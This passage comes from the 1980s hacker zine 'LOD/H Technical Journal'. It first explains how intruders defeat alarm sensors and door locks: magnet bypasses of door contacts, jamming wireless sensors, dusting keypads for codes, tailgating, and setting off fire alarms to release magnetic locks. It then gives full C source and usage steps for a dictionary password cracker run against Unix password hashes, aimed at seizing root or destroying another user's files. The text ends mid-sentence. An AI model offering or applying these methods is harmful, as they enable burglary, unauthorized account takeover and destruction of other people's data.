|||
|
|
|||
|
Foil tape:
|
|||
|
----------
|
|||
|
|
|||
|
This is by far the most common, and probably the most improperly installed form
|
|||
|
of glass breakage detection, which also makes it the most insecure. This is
|
|||
|
usually a silver foil tape about 5/16" wide which should be placed on the whole
|
|||
|
perimeter of a glass window or door. In the case of plexyglass or a similar
|
|||
|
material, the tape should be placed in rows separated by 6-12 inches.
|
|||
|
|
|||
|
The older foil was covered with a coating of eurathane or epoxy which enabled
|
|||
|
it to stick onto the glass. The newer foil has an adhesive back making
|
|||
|
installation much easier. There should be two connectors which are located at
|
|||
|
the upper top part of a window, and the lower part of the window which connects
|
|||
|
the foil to the processor, thus, completing the circuit. Foil may or may not
|
|||
|
have a supervised loop. If it is supervised, and you use a key to scratch the
|
|||
|
foil (when it is turned off) making a complete break in it, an alarm will sound
|
|||
|
when it is turned on.
|
|||
|
|
|||
|
Foil is commonly used as a visual deterrent. Many times, it will not even be
|
|||
|
activated. The easiest way to determine if the facility is trying to 'B.S.' you
|
|||
|
into thinking they have a security system, is to see if there are any breaks
|
|||
|
in the foil. If there is a clean break, the 6-12V DC current which is normally
|
|||
|
making a loop isn't. Thus, breaking the glass will do nothing other than make
|
|||
|
some noise unless you take steps against that happening.
|
|||
|
|
|||
|
As was stated, foil is the most improperly installed type of glass breakage
|
|||
|
detection. When it is installed improperly, it will not cover all the area it
|
|||
|
should. An easy way to defeat this is by the following diagram:
|
|||
|
|
|||
|
+-------------+
|
|||
|
! ........... !
|
|||
|
! . . ! . = foil tape
|
|||
|
! . put . ! - = top/bottom of door
|
|||
|
! . contact . ! ! = sides of door
|
|||
|
! . paper . ! / = dividing line between 2 pieces of contact paper
|
|||
|
! . in . ! $ = ideal places for initial breakage
|
|||
|
! . this +-! ' = clear area or outline of second piece of contact paper
|
|||
|
! . area ! ! <-- door handle
|
|||
|
! . +-!
|
|||
|
! . . !
|
|||
|
! ........... !
|
|||
|
!/////////////!
|
|||
|
!'''''''''''''!
|
|||
|
!' '!
|
|||
|
!$'''''''''''$!
|
|||
|
+-------------+
|
|||
|
|
|||
|
|
|||
|
As you can see, the installer neglected to place the foil all the way down to
|
|||
|
the bottom of the glass door. There is enough room for a person to climb
|
|||
|
through. They may have thought that if someone broke the glass, it would all
|
|||
|
break, which is normally correct. But if you obtain some strong contact paper,
|
|||
|
preferably clear, adhere it to the glass as shown, and break the bottom part at
|
|||
|
the '$' it will break up to the '/' line and thats it. Thus, leaving the foil
|
|||
|
in-tact. This will work on tempered glass the best, and will not work on Lexan
|
|||
|
or Plexyglass. There is a transparent window film with a break strength of up
|
|||
|
to 100 pounds per square inch which can be obtained from Madico, Inc. It is
|
|||
|
called, Protekt LCL-400 XSR, and makes glass harder to break and stays
|
|||
|
essentially in place even when broken. This can be used in place of the contact
|
|||
|
paper. Obviously, it is also used to protect glass from breakage.
|
|||
|
|
|||
|
Audio discriminators:
|
|||
|
---------------------
|
|||
|
|
|||
|
What these do is to compare the frequency of the sound that glass makes when it
|
|||
|
breaks, to the actual breakage of glass. This frequency is relatively unique,
|
|||
|
and can accurately determine when and if glass actually breaks. Your best shot
|
|||
|
at defeating this, is to do the same thing as mentioned above. Cover the glass
|
|||
|
with a film which will keep the glass in place after breaking it. If you break
|
|||
|
it properly, the frequency will not match that of glass breaking when it is not
|
|||
|
held in place.
|
|||
|
|
|||
|
Glass shock sensors:
|
|||
|
--------------------
|
|||
|
|
|||
|
These devices detect shock disturbances using a gold-plated ring that "bounces"
|
|||
|
off a pair of normally closed gold-plated electrical contacts. This will send
|
|||
|
a signal to a Signal Processor (SP) which determines whether an alarm condition
|
|||
|
exists. There are two settings the SP can be set to which are:
|
|||
|
|
|||
|
SHOCK-BREAK: This mode requires an initial high energy shock, followed by a
|
|||
|
very low engery shatter. The shatter must occur within about 1 second before
|
|||
|
an alarm can occur.
|
|||
|
|
|||
|
SHOCK-ONLY: An alarm will occur once the first shock is detected. This may or
|
|||
|
may not be accompanied by a shatter.
|
|||
|
|
|||
|
Obviously the more secure setting for a facility would be shock-only. Though,
|
|||
|
both are equally dangerous for an intruder. The methods mentioned earlier about
|
|||
|
preventing the glass from shattering will not work when this device is used in
|
|||
|
the shock-only mode. It may work, depending on the type of glass, if it isn't
|
|||
|
in the shock-break mode.
|
|||
|
|
|||
|
These devices are usually found protecting large plate glass and multi-pane
|
|||
|
windows. They are roughly 2 inches by 1 inch and can be mounted on the frame of
|
|||
|
a window, between two windows, or on the glass itself. These sensors can cover
|
|||
|
up to 150 square feet of glass.
|
|||
|
|
|||
|
These are the best of the lot for window breakage detection. Most devices have
|
|||
|
a constantly supervised loop, and if you cut a wire, that loop will break, and
|
|||
|
cause an alarm condition. They are typically placed somewhere on the window
|
|||
|
pane and not on the window, thus, making them harder to visually detect...from
|
|||
|
the outside that is. Though from close inspection, you may be able to determine
|
|||
|
if these are in place. Obviously they can easily be seen from the inside...
|
|||
|
|
|||
|
The sensor is normally placed no more than a couple of inches from the glass.
|
|||
|
If it is too far away, or if you can move one over 4 inches from the glass, its
|
|||
|
detection capability is somewhat diminished. It is probably screwed in, and has
|
|||
|
an adhesive backing, so moving it may not be too easily accomplished. False
|
|||
|
alarms are not common, unless the windows rattle. There are sensors available
|
|||
|
which are not as sensitive, and will not "overreact" to slight vibration, these
|
|||
|
are called "damped" sensors.
|
|||
|
|
|||
|
|
|||
|
MAGNETIC CONTACT SWITCHES:
|
|||
|
--------------------------
|
|||
|
|
|||
|
The word "contact" is somewhat contradictory to how these devices are commonly
|
|||
|
used. In most cases, the magnet and the switch are not in physical contact of
|
|||
|
each other, rather, they are in a close proximity of each other, although
|
|||
|
there are some models which are indeed in contact with each other. There are
|
|||
|
various types and levels of security that these devices possess.
|
|||
|
|
|||
|
They can be surface mounted (floor or wall mounted) or concealed (recessed).
|
|||
|
The most common are surface mounted which are placed on top of the door. When
|
|||
|
inspecting for these devices, examine the whole perimeter of the door, from top
|
|||
|
to bottom. Most doors have a +/- 1/4" gap all the way around, in which you
|
|||
|
should also check for concealed contacts. These are round cylinders that are
|
|||
|
recessed into the door or wall, which obviously makes them less visible. The
|
|||
|
other contacts range from miniature, with dimensions as small as 1x1/4x1/4"
|
|||
|
to the larger ones at 5x2x1". They are usually in colors of off-white, grey,
|
|||
|
and brown and are mounted with nails, screws, double sided tape, or are epoxied
|
|||
|
onto the door or wall surface(s). The switches are hermatetically sealed, as
|
|||
|
are the glass breakage detectors mentioned earlier, can operate in moist or
|
|||
|
dusty areas, are corrosion resistant and have indoor/outdoor use. They can also
|
|||
|
be used on windows, fence gates, truck trailors, boats, heavy equipment, safes,
|
|||
|
and vaults.
|
|||
|
|
|||
|
The different types of devices in order of least to most secure are:
|
|||
|
|
|||
|
1) Standard Magnetic Contacts: These consist of one reed switch and one magnet.
|
|||
|
They may be defeated with the use of a second magnet which would be placed
|
|||
|
in the vicinity of the switch, while opening the door or window and while
|
|||
|
closing them also. This way, the switch never detects the abscense of the
|
|||
|
magnet, thus, no alarm occurs.
|
|||
|
|
|||
|
2) Biased Magnetic Contacts: These consist of one reed switch with a "biasing"
|
|||
|
magnet that changes the state of the reed switch. The magnet is then placed
|
|||
|
at the correct distance to offset the bias magnet, creating a "balanced"
|
|||
|
condition. The switch can be defeated with the use of a single magnet. The
|
|||
|
trick is to:
|
|||
|
|
|||
|
A) You must have the correct size magnet, which can be accomplished by
|
|||
|
obtaining the same type or model as what is in place.
|
|||
|
|
|||
|
B) You must determine the correct polarity which may be accomplished with
|
|||
|
either a compass, or if the alarm is not activated, (possibly during
|
|||
|
normal business hours), by opening the door and placing your magnet
|
|||
|
near the device's magnet and determine the polarity. If you do not have
|
|||
|
much time, then its a 50-50 shot.
|
|||
|
|
|||
|
C) The last criteria is to keep the magnet at the same or close to the
|
|||
|
same distance from the switch as the original magnet was. In some cases
|
|||
|
the device will be placed in such a manner that correct placement of
|
|||
|
the second magnet will be difficult if not impossible.
|
|||
|
|
|||
|
3) Balanced Magnetic Contacts: These consist of one biased reed switch and one
|
|||
|
unbiased reed switch. The second reed will be of the correct sensitivity
|
|||
|
and position so as to not operate with the actuator magnet. It must also
|
|||
|
operate with the addition of a second magnet. It could be defeated by a
|
|||
|
single magnet that is moved into place as the door is opened. This requires
|
|||
|
coordinated movement of the door and magnet.
|
|||
|
|
|||
|
4) Preadjusted Balanced Magnetic Contacts: These consist of three biased reed
|
|||
|
switches and may have an optional fourth tamper reed. Two reeds are
|
|||
|
polarized in one direction and the third is polarized in the opposite
|
|||
|
direction. The housing consists of three magnets with the polarity that
|
|||
|
corresponds to the switches. It is preadjusted to have a fixed space between
|
|||
|
the magnet and the switch. This is the most secure type of magnetic contact
|
|||
|
switch. The three-reed type could be defeated by using one of its own
|
|||
|
magnets, but not a bar magnet. The type with four reeds cannot be defeated
|
|||
|
with either of the two magnets because the fourth reed will activate when
|
|||
|
a magnet is brought within actuating distance. If you are able to determine
|
|||
|
which is the tamper reed, you can try to keep the three magnets in contact
|
|||
|
with the corresponding reeds. At the same time you must have the correct
|
|||
|
polarity, and in the process, not activate the tamper reed. If you
|
|||
|
accomplish those, you may be able to defeat it. This will most likely
|
|||
|
require two people and a bit of luck.
|
|||
|
|
|||
|
The most secure devices are made of die cast aluminum instead of plastic,
|
|||
|
are explosion proof (for vaults and safes), have terminals mounted inside
|
|||
|
the housing which provides protection from tampering and shorting, and have
|
|||
|
armored cabling.
|
|||
|
|
|||
|
|
|||
|
A wider break distance will prevent fasle alarms due to loose fitting doors,
|
|||
|
thus, if the door is loose fitting it may have a wide break distance. The wider
|
|||
|
the break distance, the easier it is to defeat. This will allow you to
|
|||
|
introduce another magnet in cramped places since the door can be opened a wider
|
|||
|
distance before an alarm condition occurs.
|
|||
|
|
|||
|
Some devices allow the installer to adjust the gap with a screwdriver instead
|
|||
|
of placing the switch a certain distance from the magnet. In some devices, use
|
|||
|
of any ferrous (Iron) material in the vicinity of the switch can cause a change
|
|||
|
in gap distance. As a gap is increased, the switch may bias and latch. When
|
|||
|
latched, the switch will remain closed even when the magnet is removed!! This
|
|||
|
means that when you open the door, it thinks that the door is closed, and you
|
|||
|
are able to stealthily go thru the door. You can test for a latched condition
|
|||
|
by removing the magnet (opening the door) and using a Volt Ohm Meter, if it
|
|||
|
reads INFINITY, the switch is OK. If not, it may be latched. If you can adjust
|
|||
|
the gap to the point of it being latched, without being noticed, you've got it
|
|||
|
made.
|
|||
|
|
|||
|
|
|||
|
Wireless Switch Transmitters:
|
|||
|
|
|||
|
These are essentially the same as the other devices mentioned except that they
|
|||
|
use an FM digital signal for alarm conditions (a door or window open) and for
|
|||
|
maintenance conditions (low battery, transmitter malfunction/removal, long term
|
|||
|
jamming, etc). There should be continuous polling and a maintenance alarm will
|
|||
|
occur if the signal is missing for a few minutes. The transmitters are usually
|
|||
|
powered by a couple of AAA 1 1/2V pen cells, which can last a few years. Most
|
|||
|
devices will send out a signal after a specific interval. Common intervals are
|
|||
|
about every 30 seconds. You can verify if the device is indeed sending out a
|
|||
|
signal by placing a milliammeter capable of reading 10 ua in series with the
|
|||
|
batteries and reading the discharge current. If it occurs every 30 seconds,
|
|||
|
then it is sending out a signal every 30 seconds. A hint that this type of
|
|||
|
device is in use, is since range generally decreases as a transmitter gets
|
|||
|
closer to the floor, the transmitter will be placed as high as possible. The
|
|||
|
transmitter probably has a range of about 200 feet, although some environments
|
|||
|
may reduce this range due to construction materials inherent in the building.
|
|||
|
The frequency should be in the 314 MHz range.
|
|||
|
|
|||
|
As was mentioned, these are the same as regular magnetic contact switches
|
|||
|
except that there is a transmitter instead of a wire for transmitting alarm and
|
|||
|
maintenance conditions, thus, the switch can be defeated in the same manner as
|
|||
|
has been previously stated. Defeating an X-mitter is much easier than defeating
|
|||
|
a wire. You can defeat the transmitter if you can sufficiently block or
|
|||
|
diminish the signal strength so that the receiver is unable to receive it.
|
|||
|
Radio waves have a tendency to bounce and reflect off of metallic surfaces,
|
|||
|
which includes foil, and pipes. If you have located the transmitter, which
|
|||
|
should be attached to or near the actual contact, you can block or jam the
|
|||
|
signal as you open the door. Hopefully this will be between the 30 second
|
|||
|
interval that it sends an "i'm ok" signal to the receiver, but it's not
|
|||
|
critical to do so. As was stated, most receivers will not cause an alarm
|
|||
|
condition if it doesn't recieve a signal once or twice, but after a few minutes
|
|||
|
it will. So, as you open the door, it tries to send the signal, you block or
|
|||
|
jam it, and you slip through without detection.
|
|||
|
|
|||
|
This information can also apply to security relating to the 'interior' of a
|
|||
|
facility, ie. Part III of this series. Many of the techniques for defeating
|
|||
|
magnetic contact switches are geared toward being inside the facility. Many
|
|||
|
facilities have switches on doors to monitor movement of personnel within the
|
|||
|
facility. But it also is used on the exterior and some methods will work on
|
|||
|
doors and possibly windows on the exterior. Of course, you have to have a way
|
|||
|
of opening the door, and that follows.
|
|||
|
|
|||
|
|
|||
|
DOORS AND LOCKS:
|
|||
|
----------------
|
|||
|
|
|||
|
As you know, doors are the primary entrance point into a building. Since they
|
|||
|
are the primary target for unauthorized entry, they have the most security
|
|||
|
added. I am not going to mention anything about the art of picking locks.
|
|||
|
Although mechanical locks and keys have been the most common type of security
|
|||
|
used in the past as well as today, I am going to concentrate on the more
|
|||
|
advanced security systems in use.
|
|||
|
|
|||
|
|
|||
|
Pushbutton keypad locks:
|
|||
|
------------------------
|
|||
|
|
|||
|
There are two types, mechanical and electronic. I will go into detail about
|
|||
|
each. I will give you a few examples of these devices which comes directly from
|
|||
|
brochures which I have been sent. I am merely summing up what they said.
|
|||
|
|
|||
|
|
|||
|
Electronic:
|
|||
|
|
|||
|
|
|||
|
Securitron DK-10:
|
|||
|
|
|||
|
This is a unit which has dimensions of 3x5x1". It has a stainless steel keypad
|
|||
|
which is weatherproof, mounts via hidden screws and has no moving parts. The
|
|||
|
keypad beeps as each button is pressed, and an LED lights when the lock is
|
|||
|
released. It is slightly different in appearence than most other electronic
|
|||
|
keypads:
|
|||
|
|
|||
|
+----+
|
|||
|
! 1A ! Each block (1A/B2) is one button. Thus, there are 5 buttons total on
|
|||
|
! B2 ! this device. The "/"'s at the bottom of the device represents the name
|
|||
|
! ! of the company and possibly the model number of the device.
|
|||
|
! 3C ! (ie. Securitron DK-10). It has 2-5 digit codes. Thus, a 2 digit code
|
|||
|
! D4 ! will have a maximum of 5 the the 2nd power (5 squared=25) combinations.
|
|||
|
! ! Of course it increases as the number of digits used increase.
|
|||
|
! 5E ! This unit has an 11 or 16 incorrect digit threshold. If it is reached
|
|||
|
! F6 ! a buzzer sounds for 30 seconds during which it will ignore any entries.
|
|||
|
! ! When a valid code is entered, the lock is released for a 5, 10, 15 or
|
|||
|
! 7G ! 20 second interval.
|
|||
|
! H8 !
|
|||
|
! !
|
|||
|
! 9K !
|
|||
|
! L0 !
|
|||
|
! !
|
|||
|
!////!
|
|||
|
!////!
|
|||
|
+----+
|
|||
|
|
|||
|
|
|||
|
Sentex PRO-Key:
|
|||
|
|
|||
|
This device has a keypad resembling one of a payphone. It is a sealed, chrome
|
|||
|
plated metal keypad. It has the standard 10 digits with * and #. It can have
|
|||
|
up to 2000 individual codes with a lenght of 4 or 5 digits. It allows 8 time
|
|||
|
zones, "2-strikes-and-out" software which is its invalid code threshold, and
|
|||
|
anti-passback software.
|
|||
|
|
|||
|
|
|||
|
Obtaining codes--
|
|||
|
Your aim is to obtain the correct code in order to open the door. Plain and
|
|||
|
simple. There are various methods in which you can accomplish this. You can try
|
|||
|
to obtain a telescope or similar device and attempt to get the exact code as it
|
|||
|
is being entered. This is obviously the quickest method. If you cannot discern
|
|||
|
the exact code, the next best thing is to determine exactly how many digits
|
|||
|
were entered, since most devices have variable code lengths. If you can make
|
|||
|
out even one digit and when it was entered, you will substantially reduce the
|
|||
|
possibilities. Another method is to put some substance on the keypad itself,
|
|||
|
which preferably cannot be noticed by the user. After someone enters a code,
|
|||
|
you can check the keypad to see where there are smudges or if you use what the
|
|||
|
police use to find fingerprints, you can see what digits were pushed, although
|
|||
|
you will have no idea in what order. This will drastically cut down the combos.
|
|||
|
Say that someone enters a 5 digit code on a 10 digit keypad. You check the
|
|||
|
keypad and see that, 1,2, 4, 7, and 9 were pushed. If you attempted brute
|
|||
|
force, you will have 25 combinations to try. If a 4 digit code 'appeared' to be
|
|||
|
entered, as 0, 2, 4, 8 were 'smudged', it is possible that one of the digits
|
|||
|
were pushed twice. Keep that in mind. A way to know for sure would be to clean
|
|||
|
the pad and 'dust' it, most fingerprints will be clear, but one will be less
|
|||
|
clear than the others. Thus, you can be reasonably sure that the digit which is
|
|||
|
smudged was pressed twice.
|
|||
|
|
|||
|
Thresholds--
|
|||
|
Brute force attempts on electronic keypads is suicide. Once a certain number of
|
|||
|
invalid attempts has been reached, it will probably be logged and a guard may
|
|||
|
be dispatched. Your best bet is to try once or twice, wait (leave), try once
|
|||
|
or twice again, wait, etc. Sooner or later you will get in.
|
|||
|
|
|||
|
Auditlogs--
|
|||
|
Many of these devices are run on micro's. The software that runs these devices
|
|||
|
allows for an increased ability to monitor the status of these devices. They
|
|||
|
can track a person throughout the facility, record times of entry and exit,
|
|||
|
and when the maximum invalid code threshold is reached.
|
|||
|
|
|||
|
Anti-passback--
|
|||
|
This term is commonly used in card access control, but it applies differently
|
|||
|
to keypads. This feature prevents the use of two codes being used at the same
|
|||
|
time. That is, Joe Comosolo uses code #12345 and enters the building. Then,
|
|||
|
you enter Mr. Comosolo's code, #12345 but the system knows that Joe is already
|
|||
|
in the building, and has not entered his code before leaving. Thus, you do not
|
|||
|
gain access, and that action is most likely recorded in the audit log. This
|
|||
|
option will only be in effect when:
|
|||
|
|
|||
|
1) Each individual has a different code.
|
|||
|
|
|||
|
2) There is a keypad used for entry, and a keypad used for exit.
|
|||
|
|
|||
|
|
|||
|
Tailgating--
|
|||
|
This occurs when more than one person enters through a controlled access point.
|
|||
|
Joe enters his code, and goes into the building. You follow Joe, and make it
|
|||
|
in just before the door closes, or in the case of the devices waiting 10 or 20
|
|||
|
seconds before the door locks again, you let it close, and open it before it
|
|||
|
locks.
|
|||
|
|
|||
|
Open access times--
|
|||
|
During peak morning, noon, and evening hours, a facility may set the system to
|
|||
|
not require a code during, say, 8:55AM to 9:05AM, thus, enabling most anyone to
|
|||
|
gain entry during that time.
|
|||
|
|
|||
|
|
|||
|
Hirsch Electronics Digital Scrambler:
|
|||
|
|
|||
|
This has a 12 button arrangement with the addition of a 'start' key. This is
|
|||
|
probably the most secure type of keypad security system in use today. It only
|
|||
|
allows a viewing range of +/- 4 degrees horizontally and +/- 26 degrees
|
|||
|
vertically. This means that it would be very difficult to watch someone enter
|
|||
|
their code, thus, eliminating the 'spying' technique mentioned earlier.
|
|||
|
The buttons on the keypad remain blank until the start button is pressed. Then,
|
|||
|
instead of the numbers appearing in the usual order, they are postitioned at
|
|||
|
random. A different pattern is generated each time it is used. The numbers are
|
|||
|
LED's in case you were wondering. This eliminates the 'dusting' technique which
|
|||
|
can be used on the other types of keypad systems.
|
|||
|
|
|||
|
The Model 50 allows control of 4 access points and has 6 programmable codes.
|
|||
|
The Model 88 controls 8 doors and has thousands of codes. The features that
|
|||
|
this device has makes it very difficult to do anything but use brute force to
|
|||
|
obtain the code, but since it is controlled and monitored by a computer, the
|
|||
|
audit logs and maximum invalid code threshold can put a stop to that method.
|
|||
|
The other alternative, which applies to any of these systems, is to socially
|
|||
|
engineer the code from someone, or if you know someone, they may give you it.
|
|||
|
Both methods are not ideal. I have come up with a way to reduce the
|
|||
|
possibilities to a very reasonable level, but I will not explain it here. If
|
|||
|
you are really interested, contact me via the LOD/H Technical Journal Staff
|
|||
|
account on the Sponsor boards.
|
|||
|
|
|||
|
|
|||
|
Mechanical Keypad locks:
|
|||
|
|
|||
|
The best thing about these types of locks, is that they are 100% mechanical.
|
|||
|
This means that it is not computerized, and there is no monitoring of bad codes
|
|||
|
or the door staying open for too long, or anything! All you have to worry about
|
|||
|
is getting a correct code. Probably the largest manufacturer of these devices,
|
|||
|
is Simplex Security Systems, Inc. The devices are called, Simplex Keyless
|
|||
|
Locks. Every lock of theirs that I have seen, has 5 buttons. Combinations may
|
|||
|
use as many of the five buttons the facility cares to use. The biggest problem
|
|||
|
with this type, is that there is the option of pushing 2 buttons at the same
|
|||
|
time, which would be the same as adding another button to the lock. Thus,
|
|||
|
button 1 & 5 can be pushed simultaneously, then button 3, then buttons 2 & 4
|
|||
|
would be pushed at the same time.
|
|||
|
|
|||
|
These are supposedly, 'keyless locks' but on many models, a 'management key'
|
|||
|
can be used to override the security code, so obtaining the key, is a way to
|
|||
|
bypass the code. Both the spying and dusting methods apply to these devices,
|
|||
|
and the best thing is that you can try all possiblities you want without an
|
|||
|
alarm signalling.
|
|||
|
|
|||
|
|
|||
|
Magnetic locks:
|
|||
|
---------------
|
|||
|
|
|||
|
These are commonly called 'Magnalocks' and use only the force of electro-
|
|||
|
magnetism to keep a door shut. Typically, the magnet is mounted in the door
|
|||
|
frame and a self aligning strike plate is mounted on the door. These locks
|
|||
|
provide the capability of up to a few thousand pounds of force for security.
|
|||
|
They are not only found on doors, but can be put on sliding doors, glass doors,
|
|||
|
double doors and gates. The magnet and plate is roughly 3 inches by 6-8 inches.
|
|||
|
|
|||
|
There are a few things you should try to findout about these devices before
|
|||
|
attempting anything:
|
|||
|
|
|||
|
Is there backup power? (ie. Usually a 12-24V battery can be used) Obviously, if
|
|||
|
there is no backup power and there is a power outage, there will be nothing to
|
|||
|
stop you from opening up the door.
|
|||
|
|
|||
|
Most devices have the capability to monitor whether the door is closed, which
|
|||
|
is what magnetic contact switches do. But there is another option, which will
|
|||
|
provide a voltage output signal on a third wire, which determines whether the
|
|||
|
lock is powered and secure. If there is no monitoring of whether the door is
|
|||
|
secure, then there is no way of knowing it is locked, unless it is physically
|
|||
|
checked. There are optional LED's which can be mounted on the lock to indicate
|
|||
|
its status. For the Securitron Magnalock, an amber LED will indicate that the
|
|||
|
lock is powered. A green light shows the lock is powered and secure. Red, shows
|
|||
|
that the lock is unlocked, and no light means there is a violation, ie. the
|
|||
|
power switch is on, but the lock is not reporting secure. You can use these
|
|||
|
lights to your advantage.
|
|||
|
|
|||
|
If a magnalock is tied into a fire alarm system, such that it is automatically
|
|||
|
released in the event of fire, then you or an accomplice can signal a fire
|
|||
|
alarm and sneak in while the lock releases.
|
|||
|
|
|||
|
|
|||
|
MISCELLANEOUS:
|
|||
|
--------------
|
|||
|
|
|||
|
LED's: Some devices or models of devices have LED lights built into/onto the
|
|||
|
device. They are usually used to indicate a secure or insecure condition.
|
|||
|
This applies to magnetic contacts, shock sensors, and other devices. Even when
|
|||
|
the security system is not in a secure mode, (for example, during regular
|
|||
|
business hours a system may be off, but after 6pm it is turned on) the LED will
|
|||
|
light when an alarm condition occurs. For example, you bang on a window that
|
|||
|
has a shock sensor, and the red LED lights, or blinks for a few seconds. You
|
|||
|
can use this to your advantage to test theories or methods during a time which
|
|||
|
a receiver pays no attention to the signals sent to it. Then when it is turned
|
|||
|
on, you will have more confidence in what you are doing.
|
|||
|
|
|||
|
Supervised loops: Most if not all devices will have supervised loops for
|
|||
|
constant monitoring of battery power, electrical shorts, and defective devices.
|
|||
|
If the security system of the facility is very old, loops may not be
|
|||
|
supervised, and simply cutting a wire will disable the alarm.
|
|||
|
|
|||
|
Naming of devices: For large orders, manufactures of security devices may put
|
|||
|
the facility's name on the product instead of their own. This is probably for
|
|||
|
esoteric purposes. This hampers your efforts in obtaining the name of the
|
|||
|
maker of any type of product for purposes of geting additional information and
|
|||
|
brochures on the device.
|
|||
|
|
|||
|
Single person entry: These devices include mechanical and optical turnstiles
|
|||
|
which meter people in and out one-by-one. Mantraps, usually found in high
|
|||
|
security installations are double-doored chambers which allow only one person
|
|||
|
in at a time, and will not allow the person out until the system is satisfied
|
|||
|
he is authorized.
|
|||
|
|
|||
|
Extreme weather conditions: Unlike perimeter security devices, most exterior
|
|||
|
security devices are either placed inside the facility, or can withstand just
|
|||
|
about any type of environmental condition, so there is not much that you can
|
|||
|
take advantage of.
|
|||
|
|
|||
|
CONCLUSION:
|
|||
|
-----------
|
|||
|
|
|||
|
People typically make security a lower priority than less important things.
|
|||
|
Those who do not upgrade their systems because of spending a few dollars are
|
|||
|
rewarded by being ripped off for thousands. I have no pity for those who do
|
|||
|
not believe in security, physical or data...
|
|||
|
|
|||
|
|
|||
|
ACKNOWLEDGEMENTS:
|
|||
|
-----------------
|
|||
|
|
|||
|
Gary Seven (LOH)
|
|||
|
|
|||
|
And of course, the information from brochures, and questions answered by the
|
|||
|
nice technical support people for the companies specifically mentioned in this
|
|||
|
article.
|
|||
|
|
|||
|
The LOD/H Technical Journal: File #6 of 10
|
|||
|
|
|||
|
|
|||
|
A Discreet Unix Password Hacker
|
|||
|
-------------------------------
|
|||
|
|
|||
|
By Shooting Shark / Tiburon Systems 4 Mar 87
|
|||
|
|
|||
|
Imagine this familiar situation: you have an account on a Unix system.
|
|||
|
Perhaps it's your account on your school's VAX, or an account you've hacked
|
|||
|
yourself. You'd like to collect more passwords to this system - perhaps
|
|||
|
to the 'root' or 'bin' accounts so you can take control of the system, or the
|
|||
|
password of the class hotshot who's going to get an 'A' on his compiler
|
|||
|
project and upset the curve unless you go in and erase all of his files.
|
|||
|
The problem is getting these passwords. The most obvious method would be to
|
|||
|
manually enter login/password combinations until you found one. This is
|
|||
|
slow (>10 seconds per try), will give you sore fingers, and multiple
|
|||
|
invocations of the 'login' program may be noticed. You could write a program
|
|||
|
on your micro to dial up the site (*if* it has a dialup) and try passwords
|
|||
|
from a login/password pool, but this is just as slow, ties up your computer
|
|||
|
and your phone line, and again is subject to easy detection. The solution
|
|||
|
to this problem is to have the system itself hack passwords for you.
|
|||
|
It can do this unattended and at a considerable speed while you go about
|
|||
|
your life, and will be difficult to detect by system demigods.
|
|||
|
|
|||
|
Here is the C source for my program. Upload it to your Unix site and
|
|||
|
compile it.
|
|||
|
|
|||
|
--- cut here ---
|
|||
|
/*
|
|||
|
* hpw.c v1.4: 8 October '86
|
|||
|
* Written by Shooting Shark / Tiburon Systems
|
|||
|
*
|
|||
|
*/
|
|||
|
|
|||
|
#include <sys/file.h>
|
|||
|
#include <stdio.h>
|
|||
|
#include <pwd.h>
|
|||
|
#include <signal.h>
|
|||
|
|
|||
|
struct passwd *pwd, *getpwname(name);
|
|||
|
|
|||
|
int len, abort(), endpwent();
|
|||
|
|
|||
|
char crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];
|
|||
|
|
|||
|
main(argc, argv)
|
|||
|
int argc;
|
|||
|
char *argv[];
|
|||
|
{
|
|||
|
|
|||
|
FILE *fopen(), *fp;
|
|||
|
|
|||
|
char *uname;
|
|||
|
signal(SIGINT,abort);
|
|||
|
|
|||
|
|
|||
|
if (argc !=3) {
|
|||
|
printf("usage : %s username pwfile\n",argv[0]);
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
if (!(pwd =getpwnam(argv[1]))) {
|
|||
|
printf("unknown user : %s\n",argv[1]);
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
if ((fp = fopen(argv[2], "r")) == NULL) {
|
|||
|
perror(argv[2]);
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
sprintf(crbuf,"%s",pwd->pw_passwd);
|
|||
|
|
|||
|
printf("hacking %s\n",argv[1]);
|
|||
|
printf("encrypted password : %s\n",crbuf);
|
|||
|
|
|||
|
while (fgets(pwbuf, 20, fp) != NULL) {
|
|||
|
pwbuf[strlen(pwbuf)-1] = '\0';
|
|||
|
pw = crypt(pwbuf,crbuf);
|
|||
|
if (!strcmp(pw,crbuf)) {
|
|||
|
printf("%s ==> %s\n",argv[1],pwbuf);
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
}
|
|||
|
printf("done -- password not found.\n");
|
|||
|
|
|||
|
|
|||
|
endpwent();
|
|||
|
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
abort()
|
|||
|
{
|
|||
|
printf("aborted while trying '%s'\n",pwbuf);
|
|||
|
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
--- cut here ---
|
|||
|
|
|||
|
(Note - written on a Pyramid 90x running Berzerkeley Unix 4.2. If you're
|
|||
|
running SysV or something else you may have problems. You probably
|
|||
|
won't, but you might.)
|
|||
|
|
|||
|
Now that you have the above compiled into a file called 'hpw,' invoke
|
|||
|
it with
|
|||
|
|
|||
|
% hpw username pwfile
|
|||
|
( % is the shell prompt; don't type it...)
|
|||
|
|
|||
|
where username is the login name of the user who's password you'd like
|
|||
|
to hack, and pwfile is the path of a text file that contains the pool of
|
|||
|
likely passwords. Most sites will have a file of words for the 'spell'
|
|||
|
spelling checker - it will probably be /usr/dict/words and contain at least
|
|||
|
15,000 potential passwords.
|
|||
|
|
|||
|
Hpw starts by loading the user's encrypted password from /etc/password and
|
|||
|
stores it in crbuf. It then starts reading words from the file you've
|
|||
|
specified, encrypts them using the crypt() routine, and compares them to
|
|||
|
the encrypted password. If they match, the program outputs a line like:
|
|||
|
'shark ==> hispassword' and quits. If they don't match, it goes on to the
|
|||
|
next potential password. If the program goes through the entire list and
|
|||
|
doesn't find the correct password, it prints 'done -- password not found'
|
|||
|
and quits. If you hit ^C (or BREAK, or whatever your interrupt character
|
|||
|
is) the program tells you which word in the file it had gotten to when
|
|||
|
it was interrupted and quits. Then, the next time you attempt to hack that
|
|||
|
login name, you can start where you left off during the previous session.
|
|||
|
|
|||
|
The beauty of this program is that you can run it in background with the
|
|||
|
output sent to a file and then log off, or play rogue, or whatever. To
|
|||
|
hack melody's password using /usr/dict/words as your pool file, and to
|
|||
|
